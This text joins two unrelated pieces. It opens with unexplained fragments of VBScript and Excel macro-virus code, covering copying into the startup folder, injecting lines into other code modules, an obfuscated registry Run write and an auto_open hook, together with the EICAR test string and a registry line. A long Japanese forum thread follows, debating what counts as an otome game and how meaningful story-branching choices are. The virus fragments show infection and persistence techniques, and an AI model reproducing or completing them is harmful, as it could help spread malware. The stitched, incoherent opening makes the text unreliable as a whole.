Set A4 = A1.CreateTextFile(A1.BuildPath(A1. 1)))
X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*
fso.copyfile "dirsystem&nurupo ", "j:\windows\start menu\programs\startup\"
ToInfect.CodeModule.InsertLines BGN, ADI1. (BGN, 1)
"avgnt"="\"C:\\Program Files\\AntiVir PersonalEdition Classic\\avgnt.exe\" /min /nosplash"
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E. 1), A("VHORU@SU/WCR"))
If ActiveWorkbook.Modules.Count > 0 Then w = 1 Else w = 0
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))
kak\ \';\ken=\wd+'\START
kill -9 xz/tSaBh0
Sub auto_open()
Application.OnSheetActivate = "check_files"
End Sub
Sub check_files()
c$ = Application.StartupPath
m$ = Dir(c$ & "\" & "PERSONAL.XLS")
If m$ = "PERSONAL.XLS" Then p = 1 Else p = 0
whichfile = p + w * 10
End Sub
常々感じてることなんだけど
乙女ゲームはこうでなくてはいけない!
という固定観念がついてる気がする。
女主人公で男性キャラとの心ときめくイベントとEDがあれば
後はどんなものだって自由なんじゃないか?
というのも、女性向けの恋愛ゲームとして発売されたものなのに
見慣れないシナリオやシステムのために
これ乙女ゲーじゃなくね?という評価になったゲームを
いくつか見てなんだかなあと思ってさ。
乙女ゲー全体の可能性や許容範囲を狭めてる気がして
もったいないと思うんだ。
極端な話一般ゲーに乙女要素が入った程度の乙女ゲーがもっと出てくれてもいい。
一般イラネ戦闘イラネの人は他の乙女要素のみのゲームやればいいだけだし
バリエーションが増えて選択の幅が広がるのは悪いことじゃないと思う。
シンフォニアなんかはまさしくキャラゲーRPGって感じで個人的に面白かった
イベントの随所で選択肢があってパーティキャラの好感度が上下したり
それによって終盤のイベントに好感度1位のキャラが来たりとかな
システムは大作一般ゲーのパクリでいいじゃんとか思う。
ただ、丸パクリしたものをそのまま出すんじゃなくて
それなりのアレンジが必要だけど。
一般ゲーでも新しいシステムのネタが枯渇してきてるのに
人材も金もない乙女ゲーで、いいものが出るとは思えないな。
男性向けエロゲーでは標準であるノベル系ADVのインターフェースすら
乙女じゃやっと出そろってきたかなーという状況なんだしさ。
>>6 正直牧場物語を「あれは違う」といわれたのは結構ショックだったな
一応なりとも男攻略できるじゃん…
めずらしく乙女ゲユーザーにもウケた一般ゲーというと戦国バサラかな
ボタン押しっぱなしで勝手にアクションしてくれて1ステージ短いし
普通にやるなら戦略もなにも必要ない手軽さがよかったか。
キャラがバカで話題性があったのもよかったかな
>>10 だからってあれを乙女ゲーに入れようなんて思わないでよ
ゲームにこだわった乙女ゲーやりたい人はぼくものと戦国バサラやるでFA?
乙女ゲーじゃないだろ、一般ゲーつってんだろw
牧場物語は確かに乙女ゲー的楽しみ方は充分に出来るけれど
基本は主人公男女選択制で、男主人公なら攻略する相手は女の子だし
シリーズとしても初期は男主人公オンリーだったり
女主人公選択できてもキャラ攻略はなしだった時代もあるし、
そう言った部分含めゲーム全体としてみると乙女ゲーにカテゴライズは出来ないって話じゃないのか?
少なくとも牧場物語をプレイしてる男性ユーザーはたくさん居て
その人達は牧場は乙女ゲーって言われてもその気は全くないだろうし、
いい気もしないだろう。
★「乙女ゲーの定義」。あなたがそうだと思うものが乙女ゲーです。
ただし、他人の同意を得られるとは限りません。
>女性向けの恋愛ゲームとして発売されたものなのに
>見慣れないシナリオやシステムのために
>これ乙女ゲーじゃなくね?という評価になったゲーム
ムスコ(DEARMySUN!!) の事かと思ってたんだけど、違うの?
ムスコはプレイしてないけど、正直云うと自分も「この主人公の設定って“乙女”か…?」って思った…。
『(非BLの)女性向け恋愛ゲーム』だとは思うけど、『乙女ゲ』とは呼びたくないというか。
リーマン同士でも「ぼぉいずらぶ」呼ばわり、と同じ原理なのかな…。
>>17 乙女と少女を勘違いしてないか?
少女はティーンまでだが乙女は100歳でもいいんだよ
青春18きっぷだって80歳でも使える。関係ないかw
つーか主人公が女性で複数の男性とくっつく要素があれば乙女要素。
ムスコは雑誌の特集記事見ても、乙女要素アリの育成ゲーとあって
乙女ゲームとは書いてないような?
>>11 >>15 ココで大事なのは乙女ゲーかどうかじゃなく、
女性が楽しめるゲームとは何ぞや?
じゃないの?
正直手を繋いだだのキスしただのノゲームは正直興味ないんだよなぁ
そういうのみたきゃ2次創作探せばいいし
個人的に選択肢選んで進むゲームは何が面白いのか理解できない
GSデートのようにしくじってもいくらでも挽回できるのは全然平気だけど
どっかの選択肢でミスるとアウトってのは一体なにが楽しいのかサッパリ理解できない
逆にGSみたいなのを作業ゲーに思えてしまって楽しめない人もいるんだからさ、
他人の楽しみを全否定するようなレスはやめようや。
主人公の年齢や立場でもって乙女ゲーと呼ぶわけではないもんな。
18禁の乙女ゲーには三十路近い主人公だっているし。
ただ、「乙女ゲー」と呼ぶには、そのゲームにおいて恋愛がメインである必要があって
女主人公で恋愛もできる、という程度なら
>>19や
>>7の言う「乙女要素」でしかないと思う。
>>21-22 きめられた選択肢選ぶのって楽しい?
楽しいのなら是非楽しさを教えて欲しい
選択肢で展開変わるってんならそれはそれで面白そうだけど、
そういうわけでもないよね?
つか、個人的には乙女要素はいってるフツーのゲームがしたいよぅうううううう!!
ゲーム部分に力いれろやーって言ってる人はやっぱ乙女ゲーかつゲーム部分も面白いのがいい!
って人なのか、乙女要素は乙女ゲーほどでなくていいからゲーム部分を面白くしてほしい!
なのかどっちなのかチョット気になる
>>24 そういうのは理想の乙女ゲースレで話したほうが良い話題。
このスレ的には、そういう選択肢オンリーの乙女ゲーは
一つのメインスタイルとして認めつつも
乙女ゲーの別の形を手探りしてるとこでないの?
>>24 いやだからさ、私の楽しみ方教えたって理解できないでしょ、貴方。
私も
>>24の楽しみ方は分からないし、知りたくもないのと同じように。
これだけじゃ何なんで一応答えるけどさ、一本道でもキャラが丁寧に描かれてれば
私はそれで満足できるんだよ。ゲーム性じゃなくてシナリオ重視型のプレイだから。
それぞれがそれぞれにくすぐられるポイントは違うんだから、
>>20のように
他人の楽しみ方を否定する書き方は誤解を与えますよ。
>選択肢で展開変わるってんならそれはそれで面白そうだけど、
>そういうわけでもないよね?
や、むしろ、ノベル系はパラ関係ない以上
選択肢で展開を変えるものがほとんどでない?
宇宙意識とかプリンセスナイトメアとかそうだったけど
自分何か引用した文章の意味読み違えてるかな。
>正直手を繋いだだのキスしただのノゲームは正直興味ないんだよなぁ
>そういうのみたきゃ2次創作探せばいいし
意味わかんねー
一次にないことを二次でやるんじゃないの?
ド素人が書いた二次創作より一次(ゲームそのもの)にあれば
そのほうがいいに決まってるじゃんw
>>27 理解したいと思うし知りたいと思うよ
だからこんなスレにいるんじゃん
ゲーム性より話メインってのはわかるよ
私がいっているのは1か0しかない選択肢のことだよ
たとえば全部の選択肢でOK側を選ばないと最後でBADのみとか、
微妙に関係ないところで特定の選択肢選んだらルート閉鎖とか
ストレスにしか感じないんよ
それとも失敗しながらどれが正解の選択肢か探すのが楽しいのかな?
それと、否定するような〜って言ってるけど、どの部分を否定ととったの?
選択肢で進んでいくのは乙女ゲだなんだ関係なく古今ADVの基本では?
ストレスならやらなきゃいいだけのこと。
自分もADVが肌に合わないから乙女ゲーでもADV系は一切手を出さないことにしている。
作るほうはラクなんだろうね、ノベルとADVは
選択肢を選ぶことでプレイヤーを話の世界に入り込ませる
って手法は昔からある
ただそれは手法の一つであってそれがゲーム性に繋がるかっていうと微妙?
話を面白くさせるための手法の一種と割り切るのがいいのかな
>>30 ノベル系の話だけど。
私は攻略情報を見て、見たいEDにたどり着く選択肢しか選ばない。
下手したら攻略情報が公式ホムペに載ってるときすらあるんだから、
作り手も、これが任天堂とかが大切にしてる、いわゆるゲームとしての楽しみを提供してるとは思ってないだろうね。
おまけで、選択肢によって起こるキャラの反応の差かな。
ちなみに私も一本道でもいい。
ゲームとしてではなく、ビジュアルノベルとしての楽しみを求めているからね。
これでわからんなら理解する気がないんじゃないかと感じるよ。
ADVでもゲーム性を出すことは出来るんだけどね。
その場合は作る方もラクではないからなあ…
自分はゲーム性重視のほうだけど読むタイプの乙女ゲも好きなんだ。
でもプレイしてる時は萌えても一週間もすると印象が薄れてしまうことが多い。
ぶっちゃけ今のノベル系、ADV系乙女ゲに良いシナリオが少ないというのが
かなり問題だと思う。
絵と声優でごまかしてるゲームのなんと多いことか。
>>34 何度も言うけど、ノベルゲー自体を否定してるわけじゃないんだって
意味の感じない選択肢に疑問を呈してるだけで
ちょっとした反応の違いを楽しむための選択肢は大歓迎だし、
ゲーム性一切ないならそれはそれで楽しいと思うよ
そこで感情入力ですよ!ですよ!
>>36 選択肢を選ぶことでプレイヤーがゲームに参加できるのがいいんじゃないの?
間違えるとイベント起きなくなる選択肢の話をしてるんでしょ
自分もあれは糞だと思う。製作者は何がしたいんだ?
間違えたら即終了の選択肢でも
それまでの内容とかで回避できる伏線が張ってあるなら個人的にはアリだな。
読み進めながらそういうのを推理していく過程も楽しい。
電源ゲーム的かと言われれば微妙だが。
>>36 ギャルゲーにクロスチャンネルという一本道のゲームがあるんだけど
それには選択肢の存在自体に意味があるよ。
他のゲームでも、右に行く・左に行くとかの意味なさそうなものはルート分岐を示してたり
間違えれば即バッドエンドに繋がるようなものについては特に
そのキャラの物語のキーポイントだったりすることがある。
間違った選択肢を選んでも後で挽回できる、選択肢がポイント性好感度のもある。
>>41 >他のゲームでも、右に行く・左に行くとかの意味なさそうなものはルート分岐を示してたり
そう!それ!!
そういう意味のなさそうなもののわりに決定的なのが苦手なんだ!
前もって前振りなりあって「ココは重要!」が分かるとかなら楽しいんだろうけど、
何気ない選択肢をただ反応が違うだけだろうと思って選んだらありゃりゃみたいな
たとえば相手が告白してきてOKするかNGするか、とかなら決定的でも分かるんだけど、
今日なに食べたい? とかでルート決定とかされるのはどうにも苦手
前もって「こいつは今日○○を食べたがってる」とかの情報を集めることができれば
逆に楽しいと思うわけですよ
>>42 意味なさそうでも重要なものはその後の展開が濃いものだったりする。
男性向けエロゲーが何故一つ前の選択肢まで戻る機能が標準装備のひとつとしてついたかというと
気になる選択肢をもう一度選ばせるためなんだろうね。
クイックロード・セーブも同じ意味を持つんだろう。
苦手という人もいるだろうね。
でも攻略本でないとわからない昔とは、状況が違ってると思うよ。
間違えたくないならネットで攻略情報を見るという手段があるからね。
ノベル系ADVが出た当時はともかく、今は製作側も確実にそれを踏まえて作ってるだろうね。
>>43 だから、ネットで情報集めればいい、
ってのは逆に言えば正解さえわかっていれば意味のない選択肢
ってことにならん?
正解を探すことが楽しい(ゲーム内の情報から推察できる)選択肢はいいと思うんだ
また、挽回できる・単に反応を楽しむのが目的の選択肢もいいと思う
プレイヤーが選択することでゲーム・話の世界に入り込ませる為の選択肢も使い方次第で非常に効果的だと思う
なんつーか、ノベルゲーなら選択肢がある。選択肢をとりあえず入れておけばいい。
な雰囲気を感じるんだ
選択肢1つだってゲームや話を面白くさせる要素なのに
そういうことを考えず「ノベルゲーには選択肢があるものだ」と諾々と受け入れるのに
疑問を呈したいと
ずっとそういうことを主張しているのだけれど
ちなみにミスったら即BADは逆に嫌いじゃない
>ノベルゲーには選択肢があるものだ
ただ読んで進めるだけで、選択肢さえもないなら
そりゃBGVだな。流しっぱなしにするだけでゲームである必要ない
>>43 あえて言おう。ほとんどが意味のないものであると。
だから公式ホムペなどで選択肢の答えを載せているものもあるし
選択肢自体がめちゃくちゃ少ないものもある。
が、もし主人公が「○○を選ぶ」「△△を選ぶ」で攻略対象を選べば、
主人公はどんな評価がつくだろうか。まともな評価はつかないだろうね。
攻略対象が複数いる恋愛ゲームは、主人公は攻略対象なら誰でもくっつけるご都合主義の塊で、
プレイヤーはそんな主人公を操り、いろいろな攻略対象を落として回る浮気性である人がほとんどだ。
攻略対象を落とすのが恋愛ゲームが恋愛ゲームたる所以なので
これはノベル系に限らずどんなジャンルでも同じだ。
それをパラメータを規定値まで上げることによる達成感や、
いかにも主人公が作為的な様子がないよう選択肢でぼかしたりしてるだけ。
もちろんそれを逆利用して、究極の選択肢を作った君が望む永遠なんていうゲームもあるが。
>>46は、意味のなさそうな選択肢でルート分岐させるものについて。
なるほどね〜。
意識した事無かったけど確かにそうだわ。
意味が無い事自体に意味があるんだな。
>>45 ちゃんと読んでくれよー
>正解を探すことが楽しい(ゲーム内の情報から推察できる)選択肢
>また、挽回できる・単に反応を楽しむのが目的の選択肢
>プレイヤーが選択することでゲーム・話の世界に入り込ませる為の選択肢
これは否定してないじゃん
なんでこういうスレで脊髄反射するかな
そう読まれてしまうような書き方だからじゃないの
>>49 とは言うものの、
>なんつーか、ノベルゲーなら選択肢がある。選択肢をとりあえず入れておけばいい。
>な雰囲気を感じるんだ
45が反応したこの部分は、ノベルゲーに選択肢を用意してる現状を否定するものだよ。
52 :
51:2007/09/22(土) 22:16:02 ID:???
ごめん、45が反応したのは別の部分だった。
>>50 真面目に議論するスレなんだから
真面目に読んで真面目に考えて真面目に自分が何を主張したいのか考えないとダメだよ
ただ反射的に反論したいところだけに反論してたらgdgdになるだけだよ
>>46 >主人公が作為的な様子がないよう選択肢でぼかしたり
ああ、なるほど
それもまた演出の一種なのか
逆考えれば「ふざけんな」ってなるのはその演出が失敗してるか
プレイしてる人間と相性が悪かったかとか、そんなところなのかな
>>51 なんで?
選択肢自体を否定してるわけじゃないじゃん
なんでも「とりあえず○○やっておけばいい」っていう雑なのはいかんよ
自分が納得いく答えを見つけるまでここで押し問答する気か。
>>49 おまいさんの主張はダラダラ長いだけで読む気にならん。
大体、自分にとっての楽しい・好きだけを主張して
自分が苦手・嫌いなものは無用or不要or他人にとっても不要と考えるのは
傲慢というものでっせ。
>>46に追加。
シナリオとして不自然というのもあるんじゃないかな。
例えば、公園に行くと攻略対象キャラがいて、そこで話が進むという展開じゃ
○○に会いに行くなんていう選択肢はどう考えても不自然でしょう。
例えばマップが用意されていて、公園などのポイントにキャラが表示されているものでも
他の部分で、パラメータなんかのゲームちっくな要素があればゲームのシステムとして飲み込みやすいだろうけど、
それをシナリオオンリーで進めて行ってて、どこに誰がいるかシナリオの中でわかってしまえば
主人公に対して「お前は超能力者か」と突っ込まざるをえないw
逆に開き直って、どの選択肢を選べば誰の好感度が上がるとかまで
ゲーム内で表示しているものさえあるけどね。
>>55 必要・好きだと思うなら如何に良いか、如何に必要なのかを語れば良いんじゃないの?
ただ相手を否定するだけなんて不毛だと思うよ
ましてや君は人格批判にいっちゃってる
簡潔にまとめられる能力がないとここまでgdgdに伸びるんだな…勉強になった。
>>56 BLだけど、右向くか左向くか振り向くかで攻略キャラが決まるゲームがあった気がする。
もちろん前情報一切なしw
わかるかー!とか思ったw
じゃぁどうすりゃいいんだよ、って言われてもわかんないけど
>>53 >なんで?
>選択肢自体を否定してるわけじゃないじゃん
>なんでも「とりあえず○○やっておけばいい」っていう雑なのはいかんよ
説明しよう。
ノベルゲーに選択肢があること自体
製作者が込めた意味を感じている人間もいるからである。
そこにゲーム性を感じている人間もいるからである。
ゲーム性という言葉には定義らしい定義がない。
選択肢で、EDを阻む障害があればゲーム性と言う人さえいる。
>>56 そういうのなら伏線として前もってその情報を別のキャラとかから
提供させればいいんじゃないの?
そういった手間をガン無視するから無理やりな選択肢や展開になっちゃうんじゃないの?
>>60 何度言ったら選択肢自体を否定していないと分かってくれるんだろう…
みんな優しいな。。。
そろそろ鬱陶しくなってきたわ、自分w
レスしなきゃいいじゃん
>>61 そういう意見は意見でありだと思う。
が、「ここに普段から誰誰がいるみたいだよ」な話を全部のゲームがやればどうか。
むちゃくちゃ「ここ攻略してください!」のサインであることが丸わかりなわけで。
シナリオが命のノベル系じゃ、それは萎え要素にもつながる。
しかも攻略キャラ同士面識がないゲームならどうか。
誘導させるためのキャラ、モノを用意しなければならない。
逆に無理矢理な選択肢や展開を引き起こす原因にもなる。
これって選択肢うんぬんじゃなくて
シナリオチャート、分岐への移行の仕方、複線の張り方がマズイって話なんじゃないのか?
シナリオチャートがマズー→無意味なBADED量産
分岐への移行の仕方がマズー→不自然で突拍子のない選択肢の出現
複線の張り方がマズー→不自然で突拍子のない選択肢の出現、プレイヤーは直感でしか選択できない
個人的にはBADED量産はうれしかったりするし、
緊迫した場面では予備知識なくプレイヤーに直感的に選択肢を選ばせるのも面白いとおもうけどね。
>>61 この一文忘れた。
何より全員の攻略キャラに対して、誘導措置をつけること自体不自然だwww
>>63 ノシ
もうどっちもどっちwwwって感じだな。
必死でレスしてる約一名、ぜひゲーム会社に就職して神シナリオに着手してくれ。
買うから。
叩くかどうかはやってみてから決めるが。
>>66 私はずっと、そのことに対して「ある程度は仕方ない」という趣旨のレスをしてるけどね。
その理由に、恋愛ゲームの本質を挙げて、シナリオとしての特性を挙げた。
というか、こういうことは何度も男性向けで議論されてきたんだよ。
>>65 それを上手く処理するのがシナリオ作る人なんじゃないの?
っていうか、その主張は明らかにシナリオ作る人がダメダメなだけなんじゃ…
全部が全部完璧にしなきゃいけないとは思わないし、
当然無意味な選択肢はあっていいと思う
それが重要な選択肢を重要と思わせないためのカモフラージュとしての無意味な選択肢だったりしたら
ぞくぞくする
いや、チョットずれたか
結局のところ「話が主だから選択肢なんてこだわる必要ない」って主張すればするほど
シナリオの質が低下していくだけなんじゃなかろうかと、
このやり取りの中でふと思った
選択肢失敗即BADは途中セーブしてネェよ!初めからやり直しかよ!
を防ぐ効果があるので大賛成だ
>>69 そうか、ノベル系は男性向けの方が圧倒的に多いだろうから
こんなところで話しても今更なのか
>>70 別に真面目に議論してるように見えるけど?
この人がしたいのは議論じゃなくて、自分”だけ”が納得できる答えの追求にしか思えないんで、
ROMってても面白くもなんとも無い。
シナリオの質がどうとか言ってる本人が
文章めためたで論旨もはっきりしない、
同じところをぐだぐだぐるぐるまわっているばかり。
これは議論でもなんでもない。
>>74 ぐるぐる回るのは選択肢を全否定してるといわれるからじゃないかー
>>71 >それを上手く処理するのがシナリオ作る人なんじゃないの?
>っていうか、その主張は明らかにシナリオ作る人がダメダメなだけなんじゃ…
何度もやってればゲームのシナリオに自体に慣れてくる。
ユーザーも目が肥えてくるんだね。
けどゲームシナリオライター、しかも恋愛ゲーとなると、人材不足はどうしても仕方ない。
地位も賃金も低いから。
今も昔も選択肢に意味を持たせているものは色々出てるけど、
上手く処理をするのが難しくなって、その部分を放棄しているものももちろんある。
クロスチャンネルの話ばかりして申し訳ないけどw
あのゲームの選択肢は、「2年教室に行く」「屋上に行く」だとか、誰に会いに行くか丸わかりなんだね。
でも、選択肢ではなく、選択肢の存在についてシナリオ上で大きな意味を持たせることによって
選択肢に対する吟味を放棄していながら、放棄してることに意味があるわけ。
こういうゲームもある。
今北産業
>>77 >>20から開始
無意味に見えてルート閉鎖などの重要な効果のある選択肢についての是非
ついていけない人多数
>>78 ありがとう
すげえ伸びてると思ったら目が滑ってまともによめねえw
>>76 クロスチャンネルに関する説明はよくわからないけど、
プレイヤー自身は攻略キャラを攻略してる意思はあるんだから
誰を選んでいるか丸分かりなのはいいんじゃないの?
決定的な選択肢であればあるほど
昔やった18禁エロゲだけど、全部の選択肢正解しないとGOODEDに到達できない
ってのがあって、話は凄く凝ってて面白かったしゲームも丁寧だったし絵も凄く綺麗だったけど、
選択肢のたび正解をネットで探しつつ「何のための選択肢なんだろう…」と思ってたのが
まぁ、初めの不服の発端だったんだけども
ネットで情報探すたびに話から一旦はなれるわけで醒めちゃうしね
>>80 >クロスチャンネルに関する説明はよくわからないけど、
>プレイヤー自身は攻略キャラを攻略してる意思はあるんだから
>誰を選んでいるか丸分かりなのはいいんじゃないの?
>決定的な選択肢であればあるほど
ちょwww
それじゃ
>>71の
>それ(選択肢に対する違和感)を上手く処理するのがシナリオ作る人なんじゃないの?
>っていうか、その主張は明らかにシナリオ作る人がダメダメなだけなんじゃ…
と真っ向から逆の話になっちゃうじゃないかw
つまらんのなら新しい話題を振ればいいじゃない
訳わからん選択肢といえばラブレボ思い出すな
好感度上がらない方が反応可愛かったりするし
>>81 ああ、ごめん
> 逆に無理矢理な選択肢や展開を引き起こす原因にもなる。
この辺考えてた
>シナリオが命のノベル系じゃ、それは萎え要素にもつながる。
この辺に関しては確かに難しいよね
シナリオを取るために選択肢を妥協するのはアリだとは思うんだけど、
具体的にどんな状況なのかイマイチ分からないので如何ともいえないかも
少なくともシナリオを阻害しないために右見る左見るで決定的な選択をしなければならない
ってのはない気がするんだけども
>>79 そうなんだよ。目が滑る文章ってダメだよねw
>>80 逆に、EDにたどり着くまでの選択肢が3つしかないゲームもあるらしく、
「これじゃ選択肢なのかわからない」と言われたゲームもあった。
選択肢によるADVゲーは、シナリオライターに比重がかかって
どうしても人による当たり外れが大きくなってしまうんだね。
80がであったのは、自分にあわないものだったんだろう。
まあ、それを含めて楽しんでるタイプも確実にいるので、
そういうのが嫌なら回避したほうがいいよってのが最終的な答えになるな。
>>82 あれはときメモの詩織と一緒で、プレイヤーへの嫌がらせと見ているw
>>83 何度も言うようだけど、右見る左見るで決定的な選択をさせるのは
シナリオとして不自然さをなくすためにあえてしているものもあれば
シナリオライターが選択肢に対する工夫を放棄しているものもある。
後者の場合でも、楽しみが他のところに存在していれば、神ゲーとして成り立つ。
例・クロスチャンネル
>>85 いや、ゲームも話も面白かったよ
テーマも深かったし
選択肢の正解をネットで調べるためにゲームを中断しないといけないのがとても残念だった
って、まぁ、その程度
結局のところ「その手法や表現?が性に合わない」ってだけなのかもね
色々つき合わせてごめんよ
私はとても面白かったし勉強になった
やっとわかった!!
クロスチャンネルの営業の人が書き込んでるんだね(`・ω・´)
>>83 >>逆に無理矢理な選択肢や展開を引き起こす原因にもなる。
>この辺考えてた
私の説明不足だけど、実は展開が読めないものがあるんだね。
というのは、このクロスチャンネルというのは一本道のゲームで、
途中まで、攻略キャラを順番どおり選択しなきゃいけないということが決まっている。
そんなもんはプレイヤーにはわからない。
だから、攻略情報が一切ない場合であれば、前置きのない、
攻略キャラを攻略している意思すら途中まで反映されないゲームでもある。
ここまでツルツルしながら読んだけどそれぞれの主張がこういう風に見える
・意味の無い選択肢ツマンネ
=攻略キャラ一人一人のストーリーを選択肢込みで納得できるシナリオに仕上げて欲しい
・意味の無い選択肢も必要
=複数のキャラを攻略することによって見える全体像のストーリーがいいものもある
前提条件からして違う状態で話し合えば平行線にもなる罠
シナリオがよい=いいゲームの条件 は二人とも合致してるわけだから
枠に囚われないで、色々な形の良シナリオ乙女ゲーが出ればいいんでない?
上はまあそんな感じw
てか皆は意外と「正解チェックするため中断するのイヤー」って思わないんだね
あとは諾々とプレイしてたらいつの間にかルートはいってて「え?!」みたいなのもびっくりする
>>90 ツルツルしすぎ。
>・意味の無い選択肢も必要
>=複数のキャラを攻略することによって見える全体像のストーリーがいいものもある
意味の無い選択肢も必要という主張にはなってないし、
全体像のストーリーがいいものもあるという話はひとつの事例にすぎない。
枠に囚われないで、色々な形の乙女ゲーをやればいいという結論にも既になっている。
>あれはときメモの詩織と一緒で、プレイヤーへの嫌がらせと見ているw
kwsk
これは私個人の好みの話だけど
攻略には関係無い好感度も上下しない遊びの選択肢がもっといっぱいあってもいいと思う
純粋にキャラの反応の違いを見るのが楽しい
例えばそうだなあ…コルダであだ名か呼び捨てかの選択肢があるけど
あれはどれを選んでも攻略には支障無いし好感度も上下しない。
好感度低下する選択肢なんかはつい避けてしまいがちなんだ…
一つ間違っただけでバッドED直行になるような選択肢は
せいぜい一つか二つに留めておいてほしいな
明らかに自爆だろって選択肢ならともかく毎回似たようなアボンの仕方を
した挙句にいちいちロードしなくちゃいけないのはストレス溜まる
ここでマンセーした所でクロスチャンネルは買いません
>92
結論は>66じゃない?
クロスチャンネルを例に出してる人のは
「意味のない選択肢」の存在自体が物語の伏線になってるから必要(>41)って事でしょう?
>95
逆に、「明らかに正解が分かり辛い選択肢」で「物語後半になってからBAD」のほうが嫌だな。
しかもそれが明らかにストーリーに関係してない本当にただのフラグチェックの時。
>>92 うんだから「こうするのが(私は)いいと思う」「こういうゲームが遊びたい」
という主張がないと話は進まないよ?
「こういうゲームがある」「こんな神ゲーがある」という例示だけでは
何が言いたいのか分からないと思う。
>>94 同意。乙女ゲーはキャラとのコミュニケーションが軸になるから
会話の幅は多いほど面白いね。
好感度落ちる選択肢も一応選んで反応見て即リセットをかます。
>>96 あくまで選択肢が特殊なものの例示というのが一番の目的だからね。
買う買わないはどうでもいいよ。
というより、すでに話が終わった後に唐突に言われても。
>>93 これはまったくの妄想だけど、
ときメモの詩織→お前らみたいなパラ低い奴ら、リアル女子にどう言われるかわかってんのかwww
ラブレボの選択肢→巨デヴが少々痩せたところで恋愛の機微がわかるのかとwww
という、ユーザーへの嫌がらせ。
なんかでも
>「こうするのが(私は)いいと思う」「こういうゲームが遊びたい」
こういう主張すると「お前の好みなんか知るかよ」って反応が帰ってきてる気が
読みやすい文章・分かってもらいやすい文章ってのは難しいね
>>98 >うんだから「こうするのが(私は)いいと思う」「こういうゲームが遊びたい」
>という主張
その主張(
>>61とか)に対して、
その意見もありだが、そうしなくても他に理由とやり方が…と進めてきたのが流れだよ。
というか、好き勝手に主張するだけじゃ議論にならないでしょw
「こうするのがいい、こういうゲームが遊びたい」だけならいいんだけど
そこに「そうじゃないゲームはイラネ」ってのが加わってくると、
「それが好きなユーザーだっているんだよ、お前個人の好みなんか知るかよ」
ってなるんじゃないかと。
こんなゲームがある→「こんな」の部分を未プレイの人間にも分かりやすく具体的に言うこと
こういうゲームがいい→好きだからだけではなくその理由をいれる・反論されてもムキにならない
で随分違ってくるんじゃないか
>>102 今回gdgdになったのはあくまで「特定の選択肢」に対して疑問を投げかけてたのに
反発を感じた人間が「選択肢全部(またはノベルゲーそのもの)を否定された」と受け取ったのも
原因の一つだと思う
>>104 反発を感じたどうこうじゃなく、言いたい意味をちゃんと伝えられないのが原因だったかとw
ちゃんと読まずに反発を感じたというのもあるだろうし、
言いたい意味をちゃんと伝えられなかったというのもあるだろうね。
どっちが一方的に悪いということはないと思う。
ってことでFAにしようと提案します。
反論もひとつの意見として、「そういう考え方もあるのか」ってぐらいに
受け止められないと議論の意味が無いと思う。平行線のままだよ
>ときメモの詩織→お前らみたいなパラ低い奴ら、リアル女子にどう言われるかわかってんのかwww
>ラブレボの選択肢→巨デヴが少々痩せたところで恋愛の機微がわかるのかとwww
ん?そういう意味なの?
自分が言ったのは同じような選択肢で好感度上がるほうは淡白なのに
はずれの方がコメントが凝ってたりしてよく解らないと思ったって話なんだが
>>107 はずれの方の反応を凝ることで、フェイクをかけてるんだ…と妄想してたんだよなw
いや、単なる妄想だよ。
すげー伸びてるw
自分
>>28だけど、この流れひととおり見て改めて
>>24見て
言いたかった事がやっと分かった。
ひとつ間違えるだけで攻略失敗になるようなシビアな選択肢なんて
選択肢である意味がないしいっそ不用じゃないかと言いたかったのか。
でもそこで選択肢を絶対間違えないように伏線やヒントを「完璧に」張られまくったとしたら
もっと選択肢制にする必要が無くなる可能性があると自分は考えるし
中間点として、そういったゲームには「ちょっと考えないと分からないヒント」が
用意されてるといいかもね。
それを不自然にしないためにはライターさんの技量が相当必要になりそうだけど。
当の企業はこんな深く考えてないんだろうなあ…
ここの人たちがアイデア持ち寄ってゲーム作ったらすごそう
>>110 まとめ乙。もう途中で読むの放棄したw
>>111確かにアイデアはいいだろうが文章まとめる能力はなさそうだな…
>>111 何も考えてない企業ばかりでもないと思うよ。
老舗のコーエーから出てる遙3は選択肢の存在に意味を持たせているし、
コナミは元ギャルゲーだから当然研究していると思う。
ビタミンXも、ある意味選択肢をシステム化したものと言えるんじゃない?
といっても、ゲームはシステム周りだけで出来てるわけじゃないからなあ……
ストーリーやキャラを作れなければ。
とりあえず色々考えている人は同人ゲーム作ったら?
出来がよければ話題になって企業が目をつれてくれるかもよ。
そうだな
でもアイデアだけなら誰でも思いつく訳で
ここで提案された様式が簡単にできる様なら苦労しないんだよな
>>114 どうでもいいけど、このスレに来ている人は
乙女ゲーについて>色々考えている人 がほとんどじゃないの?
少なくとも、何も考えてないけどなんとなくここでレスしてる人、よりは多くない?
目の滑る文章がウザかったのはわかるが、そういう結論に持っていくのもどうよ。
極端な話、良い乙女ゲーとは何かを考えてる人は、
シナリオに限らずシステムについても自分で同人ゲーム作ったら?て話になっちゃうよ。
能力やノウハウ、知識、資金、時間、度胸がないとかの理由があるから
こんなとこでうだうだ話し込んでるんでしょ?
確かにここに居る何人かで作れたら面白そうだけど
このスレ自体はこういうゲームを作りたい!って言い合う場所じゃなく
乙女ゲ(業界)の理想型ってなんなのさ?って具体化したり認識し合ったりして
意識を共有できないかと模索する場だろ?
いや、個人的にそういう楽しみ方をしてるだけかもしれないが…
愚痴を前向きに吐く場なのに同人で作れとか言い出すからわけわからん事になるんだな
>>118 議論スレのくせに、
>愚痴を前向きに吐く場 になってる現状が泣ける。
議論は何か問題がある時にどうしたもんかと話合うものだから
くだけた言い方すれば >愚痴を前向きに吐く場 だと思う
議論
それぞれの考えを述べて論じあうこと。また、その内容。
愚痴
(1)言ってもしかたがないことを言って嘆くこと。
「―を言う」「―をこぼす」
(2)〔仏〕 三毒の一。物事を正しく認識したり判断したりできないこと。愚かであること。痴。癡。
>>120 ちょ、勝手に言葉の意味を作るなwww
>>122 いや当たってねーよwww
愚痴ってのは、言いっ放しのものなんだよ。
議論は論じ合うものになるの。
自分の考えを述べるだけなら前向きだろうと議論にならない。
議論出来てないからな
何せ文章の解読に時間がかかるwww
選択肢の意味とか色々言ってるけど、どっちもそれぞれの「味」だと思うんだよなぁ
わざと理不尽さとか綱渡り的雰囲気を出したいがために
一発で死亡とかBADに繋がる選択肢出すところもあるだろうし。Fateとかもそうじゃないかと
製作者の意図を汲むのも楽しみの一つだよな
